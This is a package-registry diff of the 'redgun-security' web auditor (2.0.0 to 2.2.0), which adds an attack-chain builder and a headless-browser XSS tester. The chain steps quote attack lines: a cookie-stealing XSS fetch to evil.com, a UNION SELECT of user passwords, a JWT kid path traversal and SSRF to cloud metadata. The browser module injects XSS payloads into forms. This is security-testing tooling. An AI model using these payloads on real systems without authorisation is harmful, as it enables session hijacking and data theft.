redgun-security 2.0.0 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "redgun-security",
3
- "version": "2.0.0",
3
+ "version": "2.2.0",
4
4
  "description": "Black-box & white-box security auditor for web applications with HackTricks techniques",
5
5
  "type": "module",
6
6
  "main": "scan.js",
package/scan.js CHANGED
@@ -8,6 +8,8 @@ import { scanSamlRemote, scanLdapRemote, scanMfaBypass, scanWebsocketReplay, sca
8
8
  import { scanSsrfBypassChains, scanJwtRemoteAdvanced, scanGrpc, scanOpenApi, scanWebrtc, scanStoredDomXss, scanSsiRemote, scanXpathRemote, scanTimingRemote } from './src/remote/complete.js';
9
9
  import { scanLlmRemote, scanCssInjectionRemote, scanPostMessageRemote, scanEsiRemote, scanHttp3, scanHpackBomb, scanSmtpRemote, scanDkimReplay } from './src/remote/modern.js';
10
10
  import { validateFindings } from './src/core/validator.js';
11
+ import { buildAttackChains } from './src/core/chains.js';
12
+ import { runBrowserEngine } from './src/remote/browser.js';
11
13
 
12
14
  export async function runRemoteScan(url, spinner, modules = null) {
13
15
  const target = new URL(url);
@@ -15,6 +17,7 @@ export async function runRemoteScan(url, spinner, modules = null) {
15
17
  const origin = target.origin;
16
18
 
17
19
  const allModules = [
20
+ { name: 'Browser Engine (Puppeteer)', value: 'browser', fn: () => runBrowserEngine(origin, spinner) },
18
21
  { name: 'Probe & Fingerprint (httpx)', value: 'probe', fn: () => runProbe(origin, spinner) },
19
22
  { name: 'Crawl & Extract (Katana)', value: 'crawl', fn: () => runCrawler(origin, spinner) },
20
23
  { name: 'HTTP Headers', value: 'headers', fn: () => scanHeaders(origin, spinner) },
@@ -89,6 +92,9 @@ export async function runRemoteScan(url, spinner, modules = null) {
89
92
 
90
93
  spinner.text = '[Validation] Verifying findings...';
91
94
  await validateFindings(origin, spinner);
95
+
96
+ spinner.text = '[Chains] Building attack chains...';
97
+ await buildAttackChains(origin, spinner);
92
98
  }
93
99
 
94
100
  async function scanHeaders(origin, spinner) {
@@ -0,0 +1,206 @@
1
+ import { getFindings, addFinding } from './findings.js';
2
+ import { fetchText } from '../utils/fetch.js';
3
+
4
+ export async function buildAttackChains(origin, spinner) {
5
+ const findings = getFindings();
6
+ const confirmed = findings.filter(f => f.validated && f.exploitability === 'confirmed');
7
+ const inconclusive = findings.filter(f => f.validated && f.exploitability === 'inconclusive');
8
+
9
+ const allRelevant = [...confirmed, ...inconclusive];
10
+ const chains = [];
11
+
12
+ spinner.text = '[Chains] Building attack chains...';
13
+
14
+ const hasXss = allRelevant.filter(f => f.title.toLowerCase().includes('xss') && f.module.includes('Browser'));
15
+ const hasSqli = allRelevant.filter(f => f.title.toLowerCase().includes('sql'));
16
+ const hasOpenRedirect = allRelevant.filter(f => f.title.toLowerCase().includes('open redirect') || f.title.toLowerCase().includes('redirect'));
17
+ const hasSsrf = allRelevant.filter(f => f.title.toLowerCase().includes('ssrf'));
18
+ const hasJwt = allRelevant.filter(f => f.title.toLowerCase().includes('jwt'));
19
+ const hasCors = allRelevant.filter(f => f.title.toLowerCase().includes('cors'));
20
+ const hasCsrf = allRelevant.filter(f => f.title.toLowerCase().includes('csrf') || f.title.toLowerCase().includes('state-mut'));
21
+ const hasIdor = allRelevant.filter(f => f.title.toLowerCase().includes('idor') || f.title.toLowerCase().includes('access control'));
22
+ const hasNosql = allRelevant.filter(f => f.title.toLowerCase().includes('nosql'));
23
+ const hasLfi = allRelevant.filter(f => f.title.toLowerCase().includes('lfi') || f.title.toLowerCase().includes('path traversal'));
24
+ const hasOauth = allRelevant.filter(f => f.title.toLowerCase().includes('oauth'));
25
+ const hasSubdomain = allRelevant.filter(f => f.title.toLowerCase().includes('subdomain') || f.title.toLowerCase().includes('takeover'));
26
+ const hasAuthBypass = allRelevant.filter(f => f.title.toLowerCase().includes('auth bypass') || f.title.toLowerCase().includes('authentication'));
27
+ const hasCookie = allRelevant.filter(f => f.title.toLowerCase().includes('cookie'));
28
+ const hasExposed = allRelevant.filter(f => f.module === 'Exposed Files');
29
+
30
+ if (hasOpenRedirect.length > 0 && hasOauth.length > 0) {
31
+ chains.push({
32
+ name: 'Open Redirect → OAuth Token Theft → ATO',
33
+ primitives: [hasOpenRedirect[0].title, hasOauth[0].title],
34
+ steps: [
35
+ `1. Open redirect via ${extractParam(hasOpenRedirect[0].title)} parameter`,
36
+ '2. Craft OAuth authorization URL with redirect_uri pointing to open redirect',
37
+ '3. Victim clicks link → redirected to attacker domain with OAuth code/token',
38
+ '4. Attacker exchanges code for access token → full account takeover',
39
+ ],
40
+ impact: 'CRITICAL',
41
+ confidence: hasOpenRedirect.some(f => f.confidence >= 80) && hasOauth.some(f => f.confidence >= 70) ? 85 : 55,
42
+ });
43
+ }
44
+
45
+ if (hasXss.length > 0 && hasCookie.length > 0) {
46
+ chains.push({
47
+ name: 'XSS → Cookie Theft → Session Hijacking → ATO',
48
+ primitives: [hasXss[0].title, hasCookie[0].title],
49
+ steps: [
50
+ '1. Inject XSS payload to steal cookies: fetch("//evil.com/?c="+document.cookie)',
51
+ `2. Cookie missing HttpOnly flag — accessible via JavaScript`,
52
+ '3. Attacker receives victim session cookie via XSS callback',
53
+ '4. Set stolen cookie in browser → authenticated as victim → full ATO',
54
+ ],
55
+ impact: 'CRITICAL',
56
+ confidence: hasXss.some(f => f.confidence >= 80) && hasCookie.some(f => f.confidence >= 60) ? 90 : 60,
57
+ });
58
+ }
59
+
60
+ if (hasSsrf.length > 0 && hasExposed.length > 0) {
61
+ chains.push({
62
+ name: 'SSRF → Cloud Metadata → Credential Leak',
63
+ primitives: [hasSsrf[0].title, hasExposed[0]?.title || 'Exposed internal endpoint'],
64
+ steps: [
65
+ '1. Exploit SSRF to access internal cloud metadata (169.254.169.254)',
66
+ '2. Extract IAM credentials from metadata response',
67
+ '3. Use leaked credentials for AWS CLI access',
68
+ '4. Enumerate S3 buckets, Lambda functions, RDS databases',
69
+ ],
70
+ impact: 'CRITICAL',
71
+ confidence: hasSsrf.some(f => f.confidence >= 80) ? 80 : 50,
72
+ });
73
+ }
74
+
75
+ if (hasJwt.length > 0 && hasLfi.length > 0) {
76
+ chains.push({
77
+ name: 'JWT kid Injection → Path Traversal → Key Read → Token Forge',
78
+ primitives: [hasJwt[0].title, hasLfi[0].title],
79
+ steps: [
80
+ '1. JWT uses kid (Key ID) from user input — inject path traversal',
81
+ "2. Set kid to '../../../../etc/ssl/private/server.key'",
82
+ '3. Server reads private key and signs attacker-forged JWT',
83
+ '4. Forge admin JWT → full privileged access',
84
+ ],
85
+ impact: 'CRITICAL',
86
+ confidence: hasJwt.some(f => f.confidence >= 70) ? 75 : 45,
87
+ });
88
+ }
89
+
90
+ if (hasSqli.length > 0 && hasAuthBypass.length > 0) {
91
+ chains.push({
92
+ name: 'SQL Injection → Data Dump → Password Hashes → Credential Stuffing',
93
+ primitives: [hasSqli[0].title, hasAuthBypass[0].title],
94
+ steps: [
95
+ '1. Exploit SQLi to extract user table: UNION SELECT email,password FROM users',
96
+ '2. Crack extracted password hashes (hashcat/john)',
97
+ '3. Use credentials for credential stuffing on other services',
98
+ '4. If MFA bypass found, directly access accounts with cracked passwords',
99
+ ],
100
+ impact: 'CRITICAL',
101
+ confidence: hasSqli.some(f => f.confidence >= 80) ? 85 : 55,
102
+ });
103
+ }
104
+
105
+ if (hasNosql.length > 0 && hasIdor.length > 0) {
106
+ chains.push({
107
+ name: 'NoSQL Injection → Auth Bypass → IDOR → Mass Data Extraction',
108
+ primitives: [hasNosql[0].title, hasIdor[0].title],
109
+ steps: [
110
+ '1. Bypass auth via NoSQL injection ($ne operator)',
111
+ '2. Gain authenticated session without valid credentials',
112
+ '3. Exploit IDOR by iterating object IDs (user/1, user/2, user/3...)',
113
+ '4. Extract all user data, PII, financial info',
114
+ ],
115
+ impact: 'CRITICAL',
116
+ confidence: hasNosql.some(f => f.confidence >= 80) ? 85 : 55,
117
+ });
118
+ }
119
+
120
+ if (hasCors.length > 0 && hasCsrf.length > 0) {
121
+ chains.push({
122
+ name: 'CORS Misconfig → CSRF → Privilege Escalation',
123
+ primitives: [hasCors[0].title, hasCsrf[0].title],
124
+ steps: [
125
+ '1. CORS reflects arbitrary origin with credentials',
126
+ '2. Host malicious page on attacker domain',
127
+ '3. CSRF attack from attacker domain: POST /api/admin/create-user',
128
+ '4. Victim browser sends authenticated cross-origin request with cookies',
129
+ ],
130
+ impact: 'HIGH',
131
+ confidence: hasCors.some(f => f.confidence >= 80) && hasCsrf.some(f => f.confidence >= 60) ? 80 : 55,
132
+ });
133
+ }
134
+
135
+ if (hasSubdomain.length > 0 && hasCookie.length > 0) {
136
+ chains.push({
137
+ name: 'Subdomain Takeover → Cookie Scope Abuse → Session Fixation',
138
+ primitives: [hasSubdomain[0].title, hasCookie[0].title],
139
+ steps: [
140
+ '1. Take over dangling subdomain (CNAME pointing to unregistered cloud resource)',
141
+ '2. Deploy malicious page on the taken-over subdomain',
142
+ '3. Set cookies scoped to parent domain via Set-Cookie header',
143
+ "4. Fixate victim's session → intercept authenticated requests",
144
+ ],
145
+ impact: 'HIGH',
146
+ confidence: 65,
147
+ });
148
+ }
149
+
150
+ if (hasAuthBypass.length > 0 && hasIdor.length > 0) {
151
+ chains.push({
152
+ name: 'Auth Bypass → IDOR → Privilege Escalation',
153
+ primitives: [hasAuthBypass[0].title, hasIdor[0].title],
154
+ steps: [
155
+ '1. Bypass authentication via found auth vulnerability',
156
+ '2. Access restricted endpoints',
157
+ '3. Exploit IDOR to access other users/tenants data',
158
+ '4. Read/modify admin-level resources → full compromise',
159
+ ],
160
+ impact: 'CRITICAL',
161
+ confidence: hasAuthBypass.some(f => f.confidence >= 70) ? 80 : 55,
162
+ });
163
+ }
164
+
165
+ if (openRedirectXssTester(allRelevant)) {
166
+ chains.push({
167
+ name: 'Open Redirect → XSS (via javascript: URI) → Credential Phishing',
168
+ primitives: ['Open Redirect', 'DOM/Browser interaction surface'],
169
+ steps: [
170
+ '1. Open redirect allows javascript: URIs',
171
+ '2. Craft: javascript:alert(document.cookie) as redirect target',
172
+ '3. Victim clicks link → XSS executes in application context',
173
+ '4. Steal credentials, CSRF tokens, or inject fake login form',
174
+ ],
175
+ impact: 'HIGH',
176
+ confidence: 60,
177
+ });
178
+ }
179
+
180
+ if (chains.length > 0) {
181
+ reportChains(chains);
182
+ }
183
+ }
184
+
185
+ async function reportChains(chains) {
186
+ for (const chain of chains) {
187
+ addFinding(
188
+ chain.impact,
189
+ 'Attack Chain',
190
+ chain.name,
191
+ `Primitives: ${chain.primitives.join(' + ')}\n\nChain:\n${chain.steps.join('\n')}\n\nConfidence: ${chain.confidence}%`,
192
+ `Execute chain steps manually to confirm full impact. Submit as chained vulnerability for higher bounty payout.`
193
+ );
194
+ }
195
+ }
196
+
197
+ function extractParam(title) {
198
+ const m = title.match(/via\s+\?(\w+)=/);
199
+ return m ? m[1] : 'unknown';
200
+ }
201
+
202
+ function openRedirectXssTester(findings) {
203
+ const redirectTitles = findings.filter(f => f.title.toLowerCase().includes('open redirect')).map(f => f.title);
204
+ const xssTitles = findings.filter(f => f.title.toLowerCase().includes('xss')).map(f => f.title);
205
+ return redirectTitles.length > 0 && xssTitles.length > 0;
206
+ }
@@ -0,0 +1,263 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { writeFileSync, mkdirSync, existsSync } from 'fs';
3
+ import { join } from 'path';
4
+
5
+ export async function runBrowserEngine(origin, spinner) {
6
+ spinner.text = '[Browser] Launching headless Chromium...';
7
+
8
+ let puppeteer;
9
+ try {
10
+ puppeteer = (await import('puppeteer')).default;
11
+ } catch {
12
+ spinner.warn('Puppeteer not available — browser tests skipped');
13
+ return;
14
+ }
15
+
16
+ let browser;
17
+ let page;
18
+ const results = {
19
+ alerts: [],
20
+ consoleErrors: [],
21
+ networkRequests: [],
22
+ wsConnections: [],
23
+ localStorage: {},
24
+ sessionStorage: {},
25
+ serviceWorkers: false,
26
+ postMessageListens: false,
27
+ screenshotPath: null,
28
+ xssTested: 0,
29
+ xssConfirmed: 0,
30
+ formsFound: 0,
31
+ };
32
+
33
+ try {
34
+ browser = await puppeteer.launch({
35
+ headless: 'new',
36
+ args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-web-security', '--disable-features=IsolateOrigins,site-per-process'],
37
+ });
38
+
39
+ page = await browser.newPage();
40
+ await page.setViewport({ width: 1280, height: 800 });
41
+
42
+ page.on('dialog', async (dialog) => {
43
+ results.alerts.push({ message: dialog.message(), type: dialog.type() });
44
+ await dialog.dismiss();
45
+ });
46
+
47
+ page.on('console', (msg) => {
48
+ if (msg.type() === 'error') {
49
+ results.consoleErrors.push(msg.text());
50
+ }
51
+ });
52
+
53
+ page.on('request', (req) => {
54
+ if (req.resourceType() === 'websocket') {
55
+ results.wsConnections.push(req.url());
56
+ }
57
+ results.networkRequests.push({
58
+ url: req.url(),
59
+ method: req.method(),
60
+ type: req.resourceType(),
61
+ });
62
+ });
63
+
64
+ spinner.text = '[Browser] Navigating to target...';
65
+ await page.goto(origin, { waitUntil: 'networkidle2', timeout: 30000 });
66
+
67
+ results.serviceWorkers = await page.evaluate(() => 'serviceWorker' in navigator && Boolean(navigator.serviceWorker.controller));
68
+
69
+ results.postMessageListens = await page.evaluate(() => {
70
+ let hasListener = false;
71
+ window.addEventListener('message', () => { hasListener = true; });
72
+ window.postMessage('__redgun_probe__', '*');
73
+ return new Promise(r => setTimeout(() => r(hasListener), 200));
74
+ });
75
+
76
+ results.localStorage = await page.evaluate(() => {
77
+ const data = {};
78
+ for (let i = 0; i < localStorage.length; i++) {
79
+ const key = localStorage.key(i);
80
+ data[key] = localStorage.getItem(key);
81
+ }
82
+ return data;
83
+ });
84
+
85
+ results.sessionStorage = await page.evaluate(() => {
86
+ const data = {};
87
+ try {
88
+ for (let i = 0; i < sessionStorage.length; i++) {
89
+ const key = sessionStorage.key(i);
90
+ data[key] = sessionStorage.getItem(key);
91
+ }
92
+ } catch {}
93
+ return data;
94
+ });
95
+
96
+ spinner.text = '[Browser] Scanning for forms and inputs...';
97
+ const inputFields = await page.evaluate(() => {
98
+ const fields = [];
99
+ document.querySelectorAll('input, textarea, select').forEach((el) => {
100
+ const name = el.getAttribute('name') || el.getAttribute('id') || el.getAttribute('class') || '';
101
+ const type = el.getAttribute('type') || el.tagName.toLowerCase();
102
+ fields.push({ name: name.substring(0, 60), type });
103
+ });
104
+ return fields;
105
+ });
106
+
107
+ results.formsFound = await page.evaluate(() => document.querySelectorAll('form').length);
108
+
109
+ spinner.text = '[Browser] Testing DOM XSS...';
110
+ const xssPayloads = [
111
+ '<img src=x onerror=alert("REDGUN_XSS") />',
112
+ '<svg onload=alert("REDGUN_XSS") />',
113
+ '" onfocus=alert("REDGUN_XSS") autofocus="',
114
+ '"><img src=x onerror=alert("REDGUN_XSS")>',
115
+ 'javascript:alert("REDGUN_XSS")',
116
+ ];
117
+
118
+ for (const field of inputFields.slice(0, 20)) {
119
+ if (!field.name) continue;
120
+ for (const payload of xssPayloads.slice(0, 3)) {
121
+ try {
122
+ await page.evaluate((name, payload) => {
123
+ const el = document.querySelector(`[name="${name}"], [id="${name}"]`);
124
+ if (el) {
125
+ el.value = payload;
126
+ el.dispatchEvent(new Event('input', { bubbles: true }));
127
+ el.dispatchEvent(new Event('change', { bubbles: true }));
128
+ }
129
+ }, field.name, payload);
130
+ results.xssTested++;
131
+ } catch {}
132
+ }
133
+ }
134
+
135
+ for (const formFields of inputFields.filter(f => f.name)) {
136
+ try {
137
+ await page.evaluate((name) => {
138
+ const input = document.querySelector(`[name="${name}"], [id="${name}"]`);
139
+ const form = input?.closest('form');
140
+ if (form) form.submit();
141
+ }, formFields.name);
142
+ await new Promise(r => setTimeout(r, 300));
143
+
144
+ if (results.alerts.some(a => a.message.includes('REDGUN_XSS'))) {
145
+ results.xssConfirmed++;
146
+ }
147
+ } catch {}
148
+ }
149
+
150
+ const currentPageUrl = page.url();
151
+ if (results.alerts.some(a => a.message.includes('REDGUN_XSS')) && currentPageUrl.includes(origin)) {
152
+ results.xssConfirmed = Math.max(results.xssConfirmed, 1);
153
+ }
154
+
155
+ if (results.alerts.length > 0 || results.xssConfirmed > 0) {
156
+ const screenshotsDir = './scans';
157
+ if (!existsSync(screenshotsDir)) mkdirSync(screenshotsDir, { recursive: true });
158
+ const ts = Date.now();
159
+ results.screenshotPath = join(screenshotsDir, `redgun-xss-${ts}.png`);
160
+ await page.screenshot({ path: results.screenshotPath, fullPage: true });
161
+ }
162
+
163
+ } catch (err) {
164
+ spinner.text = `[Browser] Error: ${err.message}`;
165
+ } finally {
166
+ if (browser) await browser.close();
167
+ }
168
+
169
+ reportFindings(origin, results);
170
+ }
171
+
172
+ function reportFindings(origin, results) {
173
+ if (results.xssConfirmed > 0) {
174
+ addFinding(
175
+ 'CRITICAL',
176
+ 'Browser XSS',
177
+ `${results.xssConfirmed} DOM/Stored XSS confirmed via browser`,
178
+ `${results.xssTested} payloads injected into ${results.formsFound} forms — ${results.xssConfirmed} alert() triggers detected\nScreenshot: ${results.screenshotPath || 'N/A'}`,
179
+ 'Sanitize all user input on both client and server side. Use DOMPurify, React escape, or framework auto-escaping.'
180
+ );
181
+ } else if (results.xssTested > 0) {
182
+ addFinding(
183
+ 'INFO',
184
+ 'Browser XSS',
185
+ `Tested ${results.xssTested} inputs — no XSS confirmed`,
186
+ `${results.formsFound} forms analyzed with 5 XSS payload types`,
187
+ 'DOM/Stored XSS not confirmed — continue manual testing with application-specific payloads'
188
+ );
189
+ }
190
+
191
+ const apiRequests = results.networkRequests.filter(r => r.url.includes('/api/'));
192
+ if (apiRequests.length > 0) {
193
+ const uniqueApis = [...new Set(apiRequests.map(r => r.url).filter(u => u.startsWith(origin)))];
194
+
195
+ if (uniqueApis.length > 5) {
196
+ addFinding(
197
+ 'INFO',
198
+ 'Browser Recon',
199
+ `${uniqueApis.length} API endpoints captured from browser network`,
200
+ `APIs: ${uniqueApis.slice(0, 10).join(', ')}${uniqueApis.length > 10 ? ` +${uniqueApis.length - 10} more` : ''}`,
201
+ 'Review captured API endpoints for auth requirements and sensitive data exposure'
202
+ );
203
+ }
204
+ }
205
+
206
+ if (results.wsConnections.length > 0) {
207
+ addFinding(
208
+ 'MEDIUM',
209
+ 'Browser WebSocket',
210
+ `${results.wsConnections.length} WebSocket connection(s) detected`,
211
+ `WS: ${results.wsConnections.join(', ')}`,
212
+ 'Test WebSocket for CSWSH, missing auth, and message tampering'
213
+ );
214
+ }
215
+
216
+ if (results.serviceWorkers) {
217
+ addFinding(
218
+ 'LOW',
219
+ 'Browser Service Worker',
220
+ 'Service Worker active on page',
221
+ 'SW registered — test for importScripts abuse and fetch listener tampering',
222
+ 'Validate Service Worker scope and origin. Use Subresource Integrity for imported scripts.'
223
+ );
224
+ }
225
+
226
+ if (results.postMessageListens) {
227
+ addFinding(
228
+ 'MEDIUM',
229
+ 'Browser postMessage',
230
+ 'postMessage listener detected (runtime check)',
231
+ 'Page has active message event handler',
232
+ 'Audit postMessage listeners for missing origin validation. Test cross-origin iframe attacks.'
233
+ );
234
+ }
235
+
236
+ const localKeys = Object.keys(results.localStorage || {});
237
+ const sessionKeys = Object.keys(results.sessionStorage || {});
238
+ if (localKeys.length > 0 || sessionKeys.length > 0) {
239
+ const sensitiveStorage = [...localKeys, ...sessionKeys].filter(k =>
240
+ /token|secret|key|password|credential|jwt|auth|session|user/i.test(k)
241
+ );
242
+
243
+ if (sensitiveStorage.length > 0) {
244
+ addFinding(
245
+ 'HIGH',
246
+ 'Browser Storage',
247
+ `${sensitiveStorage.length} sensitive items in browser storage`,
248
+ `Keys: ${sensitiveStorage.join(', ')}`,
249
+ 'Never store tokens, secrets, or credentials in localStorage/sessionStorage. Use httpOnly cookies for session management.'
250
+ );
251
+ }
252
+ }
253
+
254
+ if (results.consoleErrors.length > 5) {
255
+ addFinding(
256
+ 'LOW',
257
+ 'Browser Console',
258
+ `${results.consoleErrors.length} console errors detected`,
259
+ `Sample: ${results.consoleErrors.slice(0, 3).join(' | ')}`,
260
+ 'Console errors may reveal internal paths, CSP violations, or API error messages'
261
+ );
262
+ }
263
+ }